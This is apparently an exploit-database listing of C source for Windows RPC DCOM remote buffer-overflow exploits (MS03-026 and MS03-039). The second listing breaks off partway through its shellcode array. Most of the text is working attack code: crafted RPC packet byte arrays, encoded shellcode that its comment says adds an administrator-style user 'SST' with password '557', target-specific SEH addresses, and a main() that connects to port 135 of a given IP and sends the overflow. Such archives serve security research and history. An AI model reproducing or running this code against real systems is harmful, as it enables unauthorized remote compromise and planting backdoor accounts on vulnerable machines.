,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x46,0x00,0x43,0x00,0x24,0x00,0x46,0x00,
0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
unsigned char sccnsp3sp4[]=
"\x6C\x00\x6F\x00\x63\x00\x61\x00\x6C\x00\x68\x00"
"\x6F\x00\x73\x00\x74\x00\x5C\x00\x43\x00\x24\x00\x5C\x00"
"\x58\x00\xeb\x3c\x46\x00\x46\x00\xeb\x7c\x46\x00\x46\x00\x38\x6e"
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
"\xeb\x1e\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xeb\x06\xf1\xe1\xf2\xe1\xea\xd2"
//SHELLCODE From SAM ,THANKs !
//Add user SST,password is 557,
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x4D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\xDA\x98\x99\x99\xCC\x12\x75\x18\x75\x19\x99\x99\x99\x12\x6D"
"\x71\x92\x98\x99\x99\x10\x9F\x66\xAF\xF1\x01\x67\x13\x97\x71\x3C"
"\x99\x99\x99\x10\xDF\x95\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x0F\x99"
"\x99\x99\x10\xDF\x89\xFD\x38\x81\x99\x99\x99\x12\xD9\xA9\x14\xD9"
"\x81\x22\x99\x99\x8E\x99\x10\x81\xAA\x59\xC9\xF3\xFD\xF1\xB9\xB6"
"\xF8\xFD\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED"
"\xB9\x12\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xB9\xAC\xAC\xAE"
"\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED\xB9\x12"
"\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xFD\xFD\x99\x99\xF1\xED"
"\xB9\xB6\xF8\xF1\xEA\xB9\xEA\xEA\xF1\xF8\xED\xF6\xEB\xF1\xF0\xEA"
"\xED\xEB\xF1\xFD\xF4\xF0\xF7\xF1\xEC\xE9\xB9\xF8\xF1\xF5\xFE\xEB"
"\xF6\xF1\xF5\xF6\xFA\xF8\xF1\xF7\xFC\xED\xB9\x12\x55\xC9\xC8\x66"
"\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81"
"\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A"
"\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3"
"\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99"
"\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99"
"\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\x21\x67\x66\x66"
"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a"
"\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90\x90" //
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x77\xe0\x43\x00\x00\x10\x5c\x00"
"\xeb\x1e\x01\x00"// FOR CN SP3/SP4+-MS03-26
"\x4C\x14\xec\x77"// TOP SEH FOR cn w2k+SP4,must modify to SEH of your target's os
//FILL BYTE,so sizeof(UNC)>0X400(0X80*8),why? You can read more form my artic
//"Utilization of released heap structure and exploit of universal Heap overflow in windows ".
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x90\x02\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\xC7\x5F\x9D\xBD\xDD\x14\xDD\xBD\xDD\xC9\x14\xDD\xBD\x9D\xC9\x14"
"\x1D\xBD\x1D\x99\x99\x99\xC9\x14\x1D\xBD\x0D\x99\x99\x99\xC9\xAA"
"\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\x2D\x99\x99\x99\xC9\x66\xCF"
"\x95\x14\xD5\xBD\xDD\x14\x8D\xBD\xAA\x59\xC9\xF1\xAC\x99\xAE\x99"
"\xF1\xB9\x99\xAC\x99\xF1\xEA\x99\xED\x99\xF1\xB9\x99\xEA\x99\xF1"
"\xFC\x99\xEB\x99\xF1\xEC\x99\xEA\x99\xF1\xED\x99\xB9\x99\xF1\xF7"
"\x99\xFC\x99\x12\x45\xC8\xCB\xC8\xCB\x14\x1D\xBD\x29\x99\x99\x99"
"\xC9\x14\x1D\xBD\x59\x99\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA"
"\x14\x1D\xBD\x79\x99\x99\x99\xC9\x66\xCF\x95\xC3\xC0\xAA\x59\xC9"
"\xF1\xFD\x99\xFD\x99\xF1\xB6\x99\xF8\x99\xF1\xED\x99\xB9\x99\xF1"
"\xEA\x99\xEA\x99\xF1\xEA\x99\xB9\x99\xF1\xF6\x99\xEB\x99\xF1\xF8"
"\x99\xED\x99\xF1\xED\x99\xEB\x99\xF1\xF0\x99\xEA\x99\xF1\xF0\x99"
"\xF7\x99\xF1\xFD\x99\xF4\x99\xF1\xB9\x99\xF8\x99\xF1\xEC\x99\xE9"
"\x99\xF1\xEB\x99\xF6\x99\xF1\xF5\x99\xFE\x99\xF1\xFA\x99\xF8\x99"
"\xF1\xF5\x99\xF6\x99\xF1\xED\x99\xB9\x99\xF1\xF7\x99\xFC\x99\x12"
"\x45\xC8\xCB\x14\x1D\xBD\x61\x99\x99\x99\xC9\x14\x1D\xBD\x91\x98"
"\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\xB1\x98\x99"
"\x99\xC9\x66\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12"
"\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12"
"\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA"
"\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD"
"\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A"
"\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2"
"\x5B\x9D\x99\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12"
"\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31"
"\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\xEC\x64\x66\x66"
"\x04\x04\x00\x70\x00\x04\x40"
"\x00\x10\x5c\x00\x78\x01\x07\x00\x78\x01\x07\x00\xa0\x04\x00"
"\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71";
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
void main(int argc,char ** argv)
{
WSADATA WSAData;
SOCKET sock;
int len,len1;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
printf("RPC DCOM overflow Vulnerability discoveried by NSFOCUS\n");
printf("Code by FlashSky,Flashsky xfocus org\n");
printf("Welcome to our Site: http://www.xfocus.org\n");
printf("Welcome to our Site: http://www.venustech.com.cn\n");
if(argc!=2)
{
printf("%s targetIP \n",argv[0]);
printf("for cn w2k server sp3/sp4+ms03-26\n");
}
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}
len1=sizeof(request1);
len=sizeof(sccnsp3sp4);
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return;
}
memcpy(buf2,request1,sizeof(request1));
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sccnsp3sp4)/2;
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sccnsp3sp4)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sccnsp3sp4,sizeof(sccnsp3sp4));
len1=len1+sizeof(sccnsp3sp4);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+len-0xc;
*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+len-0xc;
*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+len-0xc;
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+len-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+len-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+len-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+len-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+len-0xc;
if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
len=recv(sock,buf1,1000,NULL);
if (send(sock,buf2,len1,0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
// len=recv(sock,buf1,1024,NULL);
}
/*
*/
// milw0rm.com [2003-09-20]
Exploit Database EDB-ID : 109
Date de publication : 2003-10-08 22h00 +00:00
Auteur : anonymous
EDB Vérifié : Yes
/* Windows RPC2 Universal Exploit (MS03-039) & Remote DoS (RPC3) */
/* Must be used with the associated shell */
/* */
/* This exploit works against unpatched systems (MS03-039) */
/* And cause a Denial of Service on patched systems (rpc3) */
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>
FILE *fp1;
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x46,0x00,0x43,0x00,0x24,0x00,0x46,0x00,
0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
void XOR(unsigned char *buf,int offset,int lenght,unsigned char mask)
{
for(int i=offset;i<(offset+lenght);i++)
buf[i]=buf[i]^mask;
}
DWORD GETSTRCS(char *buf)
{
DWORD cs=0;
bool cld=false;
for(unsigned int i=0;i<strlen(buf);i++)
{
for(int z=0;z<13;z++)
{
if(cs&1) cld=true;
cs=cs>>1;
if(cld) cs=cs|0x80000000;
cld=false;
}
cs+=buf[i];
}
return cs;
}
struct {
DWORD seh;
DWORD jmp;
DWORD heap;
char target[200];
} target_os[]=
{
{
0x005Bfd2c,
0x00081eeb,
0x00180000,
"WinXP"
},
{
0x0095fd3c,
0x00081eeb,
0x00170000,
"Win2K"
}
},v;
unsigned char rawData1[]=
"\x6C\x00\x6F\x00\x63\x00\x61\x00\x6C\x00\x68\x00"
"\x6F\x00\x73\x00\x74\x00\x5C\x00\x43\x00\x24\x00\x5C\x00"
"\x58\x00\xeb\x3c\x46\x00\x46\x00\xeb\x7c\x46\x00\x46\x00\x38\x6e"
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
"\xeb\x1e\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xeb\x06\xf1\xe1\xf2\xe1\xea\xd2"
//SHELLCODE From SAM ,THANKs !
//Add user SST,password is 557,
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x4D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\xDA\x98\x99\x99\xCC\x12\x75\x18\x75\x19\x99\x99\x99\x12\x6D"
"\x71\x92\x98\x99\x99\x10\x9F\x66\xAF\xF1\x01\x67\x13\x97\x71\x3C"
"\x99\x99\x99\x10\xDF\x95\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x0F\x99"
"\x99\x99\x10\xDF\x89\xFD\x38\x81\x99\x99\x99\x12\xD9\xA9\x14\xD9"
"\x81\x22\x99\x99\x8E\x99\x10\x81\xAA\x59\xC9\xF3\xFD\xF1\xB9\xB6"
"\xF8\xFD\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED"
"\xB9\x12\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xB9\xAC\xAC\xAE"
"\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED\xB9\x12"
"\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xFD\xFD\x99\x99\xF1\xED"
"\xB9\xB6\xF8\xF1\xEA\xB9\xEA\xEA\xF1\xF8\xED\xF6\xEB\xF1\xF0\xEA"
"\xED\xEB\xF1\xFD\xF4\xF0\xF7\xF1\xEC\xE9\xB9\xF8\xF1\xF5\xFE\xEB"
"\xF6\xF1\xF5\xF6\xFA\xF8\xF1\xF7\xFC\xED\xB9\x12\x55\xC9\xC8\x66"
"\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81"
"\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A"
"\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3"
"\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99"
"\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99"
"\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\x21\x67\x66\x66"
"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a"
"\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90\x90" //
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x77\xe0\x43\x00\x00\x10\x5c\x00"
"\xeb\x1e\x01\x00"// FOR CN SP3/SP4+-MS03-26
"\x4C\x14\xec\x77"// TOP SEH FOR cn w2k+SP4,must modify to SEH of your target's os
//FILL BYTE,so sizeof(UNC)>0X400(0X80*8),why? You can read more form my artic
//"Utilization of released heap structure and exploit of universal Heap overflow in windows ".
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x90\x02\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\xC7\x5F\x9D\xBD\xDD\x14\xDD\xBD\xDD\xC9\x14\xDD\xBD\x9D\xC9\x14"
"\x1D\xBD\x1D\x99\x99\x99\xC9\x14\x1D\xBD\x0D\x99\x99\x99\xC9\xAA"
"\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\x2D\x99\x99\x99\xC9\x66\xCF"
"\x95\x14\xD5\xBD\xDD\x14\x8D\xBD\xAA\x59\xC9\xF1\xAC\x99\xAE\x99"
"\xF1\xB9\x99\xAC\x99\xF1\xEA\x99\xED\x99\xF1\xB9\x99\xEA\x99\xF1"
"\xFC\x99\xEB\x99\xF1\xEC\x99\xEA\x99\xF1\xED\x99\xB9\x99\xF1\xF7"
